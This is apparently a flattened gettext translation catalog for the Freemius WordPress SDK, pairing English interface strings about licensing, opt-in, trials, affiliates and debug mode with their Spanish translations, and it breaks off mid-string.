why you are %sIf you skip this, that's okay! %1$s will still work just fine.If you wish to cancel your %1$s plan's subscription instead, please navigate to the %2$s and cancel it there.If you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid clone resolution action.Invalid module ID.Invalid new user ID or email address.Invalid site details collection.InvoiceIs %2$s a duplicate of %4$s?Is %2$s a new website?Is %2$s the new home of %4$s?Is ActiveIs active, deactivated, or uninstalledIs this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.It looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It requires license activation.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's a temporary %s - I'm troubleshooting an issueIt's not what I was looking forJoin the Beta programJust letting you know that the add-ons information of %s is being pulled from an external server.Keep SharingKeep automatic updatesKeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense IDLicense KeyLicense issues?License keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerLong-Term DuplicateMessageMethodMigrateMigrate LicenseMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNames, slugs, versions, and if active or notNetwork BlogNetwork UserNever miss an important updateNever miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.NewNew Version AvailableNew WebsiteNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo - just deactivateNo - only move this site's data to %sNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to get email notifications for security & feature updates, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please enter the license key to enable the debug mode:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires PHP VersionRequires WordPress VersionReset Deactivation SnoozingResultSDKSDK PathSave %sSavedScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSharing diagnostic data with %s helps to provide functionality that's more relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the plugin should be translated and tailored to.Simulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSnooze & %sSo you can reuse the license when the %s is no longer active.Social media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart DebugStart TrialStart my free %sStateStay ConnectedStop DebugSubmitSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank for giving us the chance to fix it! A message was just sent to our technical staff. We will get back to you as soon as we have an update to %s. Appreciate your patience.Thank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you for updating to %1$s v%2$s!Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %1$s will be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe following products'The installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$sThe products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$sThe remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.There was an unexpected API error while processing your request. Please try again in a few minutes and if it still doesn't work, contact the %s's author with the following:This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.This plugin requires a newer version of PHP.This will allow %s toTimestampTitleTo avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.To ensure compatibility and avoid conflicts with your installed plugins and themes.To enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.TotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUser DashboardUser IDUser keyUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View %s StateView Basic %s InfoView Basic Profile InfoView Basic Website InfoView Diagnostic InfoView License EssentialsView Plugins & Themes ListView detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.We have introduced this opt-in so you never miss an important update and help us make the %s more compatible with your site and better at doing what you need it to.We made a few tweaks to the %s, %sWe'll make sure to contact your hosting company and resolve the issue. You will get a follow-up email to %s once we have an update.We're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)Welcome to %s! To get started, please enter your license key:What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress & PHP versions, site language & titleWordPress.org Plugin PageWould you like to merge %s into %s?Would you like to proceed with the update?YesYes - %sYes - both addresses are mineYes - do your thingYes - move all my data and assets from %s to %sYes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.Yes, %2$s is a new and different website that is separate from %4$s.You already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have purchased a %s license.You have successfully updated your %s.You marked this website, %s, as a temporary duplicate of %s.You marked this website, %s, as a temporary duplicate of these sitesYou might have missed it, but you don't have to share any data and can just %s the opt-in.You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s.Your %s license was successfully deactivated.Your WordPress user's: first & last name, and email addressYour account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your server is blocking the access to Freemius' API, which is crucial for %1$s synchronization. Please contact your host to whitelist %2$sYour subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onactivate a license hereactive add-onActiveaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismisscomplete the opt-indatadaysdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,hourhoursinstalled add-onInstalledinterjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew Beta versionnew versionnot verifiednounPricenounPricingoptionalproduct versionVersionproductsrevert it nowsecondssecseems like the key you entered doesn't match our records.send me security & feature updates, educational content and offers.skipstart the trialsubscriptionswitchingthe above-mentioned sitesthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Leo Fajardo , 2022 Language-Team: Spanish (Spain) (http://www.transifex.com/freemius/wordpress-sdk/language/es_ES/) Language: es_ES MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=3; plural=n == 1 ? 0 : n != 0 && n % 1000000 == 0 ? 1 : 2; X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js HmmW00t %s para acceder a la versión %s de actualizaciones de funciones, seguridad y soporte. El %s de %s enlace de descarga de %s, la clave de licencia y las instrucciones de instalación se han enviado a %s. Si no encuentras el correo electrónico después de 5 minutos, comprueba tu bandeja de correo no deseado. La versión de pago de %1$s ya está instalada. Por favor, actívala para empezar a beneficiarte de las características de %2$s. %3$sThe %s's%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.%1$s detendrá inmediatamente todos los pagos recurrentes futuros y tu licencia del plan %2$s caducará en %3$s.%1$s detendrá inmediatamente todos los pagos recurrentes futuros y tu licencia del plan caducará en %s.Completar la activación de "%s" ahoraEl complemento %s ha sido comprado correctamente.%s Instalaciones%s Licenciashace %s%s y sus complementos%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).%s comisión cuando un cliente compra una nueva licencia.la prueba gratuita de %s fue cancelada con éxito. Puesto que el complemento es sólo premium se desactivó automáticamente. Si quieres utilizarlo en el futuro, deberás comprar una licencia.%s es un complemento único de premium. Tienes que comprar una licencia primero antes de activar el plugin.%s is my client's email address%s is my email address%s es el nuevo dueño de la cuenta.%s cantidad mínima a pagar.%s opt-in was successfully completed.%s o mayor%s calificación%s calificaciones%s seg%s estrella%s estrellas%s vez%s veces%s para acceder a la versión %s de actualizaciones de funciones, seguridad y soporte.%s tracking cookie después de la primera visita para maximizar las ganancias potenciales.%s características de pago%sClick aquí %s para elegir los sitios sobre los que te gustaría activar la licencia.Click here to learn more about updating PHP.A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.API←➤CuentaDetalles de la cuentaAccount is pending activation. Please check your email and click the link to activate your account and then submit the affiliate form again.AccionesActivarActivar %sActivar plan %sActivar características %sActivar versión gratuitaActivar licenciaAplicar licencia en todos los sitios pendientes.Activar licencia en todos los sitios de la red.Activar este complementoActivadoComplementos para %sComplementos del módulo %sAñadir otro dominioComplementoComplementosEl complemento debe implementarse en WordPress.org o en Freemius.DirecciónLínea de la dirección %dAfiliadoAfiliaciónDespués de su período gratuito %s, pague sólo %sDe acuerdo y activar licenciaTodas las peticionesTodos los TiposPermitir y continuarAlternativamente, puedes saltarlo ahora y activar la licencia después, en tu %s página de cuenta a nivel de red.CantidadUna descarga automatizada y la instalación de %s (versión de pago) de %s comenzará en %s. Si quieres hacerlo manualmente - haz clic en el botón de cancelación.Se ha producido un error desconocido al intentar establecer el modo beta del usuario.Se ha producido un error desconocido al intentar activar el modo de marca blanca de la licencia.Se ha producido un error desconocido.Una actualización a una versión Beta reemplazará tu versión instalada de %s con la última versión Beta - úsalo con precaución, y no en sitios de producción. Te hemos avisado.Comentarios anónimosAplicar en todos los sitios pendientes.Aplicar en todos los sitios de la red.Aceptar para hacerse afiliadoAre both %s and %s your email addresses?¿Está seguro que desea eliminar todos los datos de Freemius?¿Estás seguro que quieres proceder?Are you sure you would like to proceed with the disconnection?Como aplazamos 30 días para posible devoluciones, sólo pagamos comisiones que son de más de 30 días.Asocia con la cuenta del propietario de la licencia.La instalación automática sólo funciona para usuarios que aceptaron.Auto renovaciones en %sInstalación automáticaCalificación mediaIncreíbleHacerse afiliadoBetaFacturaciónFacturación y facturasBloqueandoID del blogCuerpoBundlePlan combinadoNombre de la empresaCompra una licencia ahoraComprar licenciaAl cambiar al usuario, usted acepta transferir la propiedad de la cuenta a:By disconnecting the website, previously shared diagnostic data about %1$s will be deleted and no longer visible to %2$s.¿No puedes encontrar tu clave de licencia?CancelarCancelar %s y procederCancelar %s - No necesito más actualizaciones de características y seguridad, ni soporte para %s porque no pretendo utilizar%s en este, u otro sitio.¿Cancelar %s?Cancelar instalaciónCancelar suscripciónCancelar período de pruebaCanceladoCancelando %sCancelando %s...Cancelando la suscripciónLa cancelación del período de prueba bloqueará inmediatamente el acceso a todas las funciones premium. ¿Estás seguro?Cambiar licenciaCambiar propietarioCambiar PlanCambiar usuarioPagarCiudadBorrar caché de la APIBorrar transients de actualizacionesHaz clic aquíHaz click aquí para utilizar el plugin de forma anónimaHaz clic para ver los comentarios con una valoración de %sClick para ver la captura de pantalla a tamaño completo %dProductosCódigoCommunicationCompatible hastaContactoContactar soporteContáctanosColaboradoresNo se puede activar %s.PaísTipo de cronCurrent %s & SDK versions, and if active or uninstalledFechaDesactivarDesactivar licenciaDesactivar o desinstalar %s deshabilitará automáticamente la licencia, que podrás usar en otro sitio.Al desactivar tu licencia todas las características premium se bloquearán, pero posibilitará poder activar tu licencia en otro sitio. ¿Estás seguro que quieres continuar?DesactivaciónLog de DebugEl modo de depuración se ha activado con éxito y se desactivará automáticamente en 60 minutos. También puedes desactivarlo antes haciendo clic en el enlace "Detener depuración".Delegar a administradores del sitioBorrar todas las cuentasDetallesDiagnostic InfoDiagnostic data will no longer be sent from %s to %s.Desactivar el modo de marca blancaDisconnecting the website will permanently remove %s from your User Dashboard's account.No cancelar %s - Todavía estoy interesado en obtener actualizaciones de características y seguridad, así como poder contactar con soporte.¿No tienes una clave de licencia?Donar a este pluginBajando tu planDescargaDescargar versión %sDescargar la versión de pagoDescargar la última versión %sDescargar la última versiónDescargadoDebido al nuevo %sEU Reglamento General de Protección de Datos (RGPD)%s los requisitos de obligado cumplimiento requieren que proporciones tu consentimiento explícito, una vez más, confirmando que estás de acuerdo :-)Debido a la violación de nuestros términos de afiliados, hemos decidido bloquear temporalmente tu cuenta de afiliación. Si tienes alguna pregunta, por favor contacta nuestro soporte.Duplicate WebsiteDurante el proceso de actualización hemos detectado%d sitio(s) que aún están pendientes de la activación de licencia.Durante el proceso de actualización detectamos %s sitio(s) en la red que todavía están pendientes de tu atención.Correo electrónicoDirección de correo electrónicoEmail address updateActivar el modo de marca blancaFinIntroduce el correo electrónicoIntroduce el dominio de tu sitio web o de otros sitios web donde planeas promocionar %s.Enter the email address you've used during the purchase and we will resend you the license key.Escribe abajo la dirección de correo electrónico que has usado para la actualización y te reenviaremos la clave de licencia.Enter the new email addressErrorError recibido del servidor:CaducadoCaduca en %sExtensionsDominios extraDominios extra desde donde promocionarás el producto.ArchivoFiltroPara el cumplimiento de las directrices de WordPress.org, antes de empezar el período de prueba te pedimos que aceptes con tu usuario e información no sensible del sitio web, permitiendo a %s enviar datos periódicamente a %s para comprobar si hay actualizaciones de versión y para validar la versión de prueba.For delivery of security & feature updates, and license management, %s needs toGratisPeríodo de prueba gratuitoVersión gratuitaAPI FreemiusDebug FreemiusFreemius SDK no pudo encontrar el archivo principal del plugin. Por favor contacta a sdk@freemius.com con el error actual.Estado FreemiusFreemius es nuestro motor de licencias y actualizaciones de softwareNombre completoFunciónObtén comisiones por renovaciones automatizadas de las suscripciones.Obten actualizaciones para las versiones Beta de vanguardia de %s.Genial, por favor instala cURL y habilítalo en el archivo php.ini. Además, busca la directiva 'disable_functions' en el archivo php.ini y quita cualquier método que comienza con 'curl_'. Para asegurarte de que se activó con éxito, utiliza 'phpinfo()'. Una vez activado, desactiva el %s y reactívalo de nuevo.¿Tienes una clave de licencia?Hey, ¿sabías que %s tiene un programa de afiliados? ¡Si te gusta %s puedes convertirte en nuestro embajador y ganar dinero!Homepage URL & title, WP & PHP versions, and site language¿Qué te pareció %s hasta ahora? Prueba todas nuestras funciones premium de %s con una prueba gratuita de %d-días.¿Cómo subirlo y activarlo?¿Como nos promocionarás?Estoy de acuerdo - Cambiar usuarioNo puedo pagarlo durante más tiempoNo entiendo cómo hacerlo funcionarNo sé qué es cURL o cómo instalarlo, ¡ayúdame!No me gusta compartir mi información contigoHe encontrado un %s mejorHe actualizado mi cuenta, pero cuando intento sincronizar la licencia, el plan sigue siendo %s.Ya no necesito el %sSólo necesitaba la %s por un corto períodoIDIf this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.Si haces click, esta decisión será delegada a los administradores de los sitios.Si tienes un momento, por favor, dinos por qué estás %sIf you skip this, that's okay! %1$s will still work just fine.If you wish to cancel your %1$s plan's subscription instead, please navigate to the %2$s and cancel it there.Si deseas renunciar a la titularidad de la cuenta de %s a %s haz clic en el botón de cambio de titularidad.Si quieres utilizar %s en estos sitios, introduce por favor tu clave de licencia abajo y haz click en el botón de activación.Aviso importante de actualización:En %sEn caso de que NO estés planeando utilizar este %s en este sitio (o en cualquier otro sitio), ¿te gustaría cancelar también %s?Instalar la versión gratuita ahoraInstalar la actualización gratuita ahoraInstalar ahoraInstalar actualización ahoraInstalando plugin: %sInvalid clone resolution action.Id de módulo no válido.Nuevo ID de usuario o dirección de correo electrónico no válido.Colección de detalles del sitio no válida.FacturaIs %2$s a duplicate of %4$s?Is %2$s a new website?Is %2$s the new home of %4$s?Está activoIs active, deactivated, or uninstalled¿Es este el sitio de clientes? %s si deseas ocultar información sensible como tu correo electrónico, clave de licencia, precios, dirección de facturación y facturas de la administración de WP.Parece que la licencia no se pudo activar.Parece que la desactivación de licencia ha fallado.Parece que ya no estás en modo de prueba, así que no hay nada que cancelar :)Parece que todavía estás en el plan %s. Si actualizaste o cambiaste tu plan, probablemente sea un problema de nuestra parte - lo sentimos.Parece que tu sitio actualmente no tiene una licencia activa.It requires license activation.Parece que uno de los parámetros de autenticación es incorrecto. Actualiza tu clave pública, clave secreta e ID de usuario e inténtelo de nuevo.It's a temporary %s - I'm troubleshooting an issueNo es lo que estaba buscandoÚnete al programa BetaSólo déjanos informarte que la información de complementos de %s se está extrayendo de un servidor externo.Keep SharingKeep automatic updatesClavePor favor, comparte lo que no funcionó para que podamos arreglarlo para los futuros usuarios...Por favor, dínos la razón para que podamos mejorar.ÚltimoÚltima actualizaciónÚltima licenciaÚltima versión gratuita instaladaÚltima versión instaladaSaber másLongitudLicenciaAcuerdo de licenciaID de licenciaClave de licencia¿Problemas de licencia?Clave de licenciaLa clave de licencia está vacía.Permanente¿Te gusta %s? Conviértete en nuestro embajador y gana dinero ;-)Cargar opción de BDLocalhostLogLoggerLong-Term DuplicateMensajeMétodoMigrateMigrate LicenseMigrar opciones a la redApps móvilesMóduloRuta del móduloTipo de móduloMás información sobre %sNombreNames, slugs, versions, and if active or notBlog de redUsuario de redNever miss an important updateNever miss important updates, get security warnings before they become public knowledge, and receive notifications about special offers and awesome new features.NuevoNueva versión disponibleNew WebsiteVersión gratuita más reciente (%s) instaladaVersión más reciente (%s) instaladaBoletínSiguienteNoNo - sólo desactivarNo - only move this site's data to %sSin IDSin compromiso para %s - cancelar en cualquier momentoSin compromiso por %s días - ¡cancelar en cualquier momento!No se necesita tarjeta de créditoSin caducidadSin caducidadNinguno de los planes de %s soportan un período de prueba.O.KUna vez que caduque tu licencia todavía puedes utilizar la versión gratuita pero NO tendrás acceso a las funciones de %s.Una vez que tu licencia caduque no podrás seguir utilizando %s, a no ser que lo actives de nuevo con una licencia premium válida.InscribirseDarse de bajaOpt in to get email notifications for security & feature updates, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info.Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to.¡Inscríbite para hacer "%s" Mejor!OtraCorreo electrónico del propietarioID del propietarioNombre del propietarioCompatible con PCIEl complemento de pago se debe implementar en Freemius.Dirección de correo electrónico de PayPalPagosLos pagos son en USD y se procesan mensualmente por medio de PayPal.PlanEl plan %s no existe, por lo tanto, no puedes comenzar un período de prueba.El plan %s no admite un período de prueba.ID del planContacta aquí con nosotrosPor favor contáctanos con el siguiente mensaje:Por favor descarga %s.Por favor, introduce la clave de licencia que recibiste en el correo electrónico al realizar la compra:Por favor, introduce la clave de licencia para activar el modo de depuración:Siéntete libre de proporcionarnos estadísticas de tu sitio web o social media, p.ej. visitas únicas mensuales, número de suscriptores de correo electrónico, seguidores, etc. (mantendremos esta información confidencial)Por favor, sigue estos pasos para completar la actualizaciónIndica si deseas que te contactemos para actualizaciones de seguridad y nuevas funciones, contenido educativo y ofertas ocasionales:Ten en cuenta que no podremos abaratar los precios desactualizados para renovaciones/nuevas suscripciones después de una cancelación. Si eliges renovar la suscripción manualmente en el futuro, después de un aumento de precio, que generalmente ocurre una vez al año, se te cobrará el precio actualizado.Por favor, danos detalles de como pretendes promocionar %s (por favor, se lo más específico que puedas)Por favor, dinos tu nombre completo.PluginPágina web del pluginID del pluginInstalar pluginRegistro de cambiosDescripciónFAQCaracterísticas y preciosInstalaciónOtras notasValoracionesEl plugin es un "Serviceware" lo que significa que no tiene una versión de código premium.PluginsSincronizar plugins y temasPremiumLa versión Premium %s ha sido activada con éxito.Versión del complemento premium ya instalada.Versión premiumVersión premium ya activa.PrecioPolítica de privacidadProcederID del procesoProcesandoProductosSumario del programaMétodos de promociónProvinciaClave públicaComprar licenciaComprar másComentarios rápidosCuotaReenviar correo electrónico de activación¡Envíanos nuevos usuarios a nuestro %s y gana %s de comisión en cada venta satisfactoria que nos hayas referido!Renovar la licenciaRenueva tu licencia ahoraPeticionesRequires PHP VersionNecesita la versión de WordPressReset Deactivation SnoozingResultadoSDKRuta del SDKGuardar %sGuardadoCrons programadosCapturas de pantallaBuscar por direcciónClave secretaPágina segura HTTPS %s, desde un dominio externoParece que estamos teniendo algún problema temporal con tu cancelación de la suscripción. Vuelve a intentarlo en unos minutos.Parece que estamos teniendo algún problema temporal con tu cancelación de prueba. Vuelve a intentarlo en unos minutos.Parece que tienes la última versión.Seleccionar paísEnviar clave de licenciaGuardar opción en BDSharing diagnostic data with %s helps to provide functionality that's more relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the plugin should be translated and tailored to.Simular actualización de redSimular período de pruebaLicencia para un único sitioID del sitioSitio dado de alta correctamente.SitiosSaltar y %sRutaSnooze & %sDe este modo, podrás reutilizar la licencia cuando el %s ya no esté activo.Social media (Facebook, Twitter, etc.)Disculpa las molestias y estamos aquí para ayudarte si nos das una oportunidad.Lo sentimos, no podemos completar la actualización de correo electrónico. Ya hay registrado otro usuario con esa dirección de correo electrónico.InicioIniciar DepuraciónComenzar el período de pruebaComenzar mi período gratuito de %sEstadoStay ConnectedDetener la depuraciónEnviarEnviar y %sSuscripciónSoporteForo de soporteSincronizar datos desde el servidorTax / Núm IVATérminos de servicio¡Gracias por darnos la oportunidad de arreglarlo! Acabamos de enviar un mensaje a nuestro personal técnico. Nos pondremos en contacto contigo tan pronto como tengamos una actualización de %s. Apreciamos tu paciencia.Gracias por aplicar a nuestro programa de asociados, infortunadamente, de momento hemos decidido rechazar tu petición. Por favor, prueba de nuevo en 30 días.Gracias por aplicar a nuestro programa de afiliados, revisaremos tu petición durante los próximos 14 días y te volveremos a contactar con información adicional.Thank you for updating to %1$s v%2$s!¡Muchas gracias por utilizar %s y sus complementos!¡Muchas gracias por utilizar %s!¡Muchas gracias por utilizar nuestros productos!¡Gracias!¡Gracias %s!Gracias por confirmar el cambio de propiedad. Se envió un correo electrónico a %s para su aprobación final.The %1$s will be periodically sending essential license data to %2$s to check for security and feature updates, and verify the validity of your license.%s ha roto mi sitioEl %s no funcionabaEl %s no funciona como esperaba%s es genial, pero necesito una característica que no soportáisEl %s no funciona%s de repente ha dejado de funcionarThe following products'El proceso de instalación ha comenzado y puede tardar unos minutos en completarse. Por favor, espera hasta que se finalice - no actualices esta página.The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$sThe products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$sEl paquete de plugin remoto no contiene una carpeta con el Slug deseado y el cambio de nombre no funcionó.La actualización de %s se completó con éxito.TemaCambiar temaTemasHay una %s de %s disponible.Hay una nueva versión de %s disponible.There was an unexpected API error while processing your request. Please try again in a few minutes and if it still doesn't work, contact the %s's author with the following:Este puglin no ha sido marcado como compatible con tu versión de WordPress.Este plugin no ha sido probado con tu versión actual de WordPress.This plugin requires a newer version of PHP.This will allow %s toTimestampTítuloTo avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.To ensure compatibility and avoid conflicts with your installed plugins and themes.Para entrar en el modo de depuración, introduce la clave secreta del propietario de la licencia (UserID = %d), que puedes encontrar en la sección "Mi perfil" de tu panel de control de usuario:To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.To provide additional functionality that's relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.TotalMunicipioPeríodo de prueba gratuitoTipoNo es posible conectarse al sistema de archivos. Por favor, confirma tus credenciales.Licencias ilimitadasActualizaciones IlimitadasComisiones Ilimitadas.Hasta %s sitiosActualizarActivar licenciaActualizaciones, anuncios, marketing, sin spamActualizarCargar y activar la versión descargadaPanel de escritorio del usuarioID de usuarioClave de usuarioUsuariosValorEl correo de verificación se acaba de enviar a %s. Si no puedes 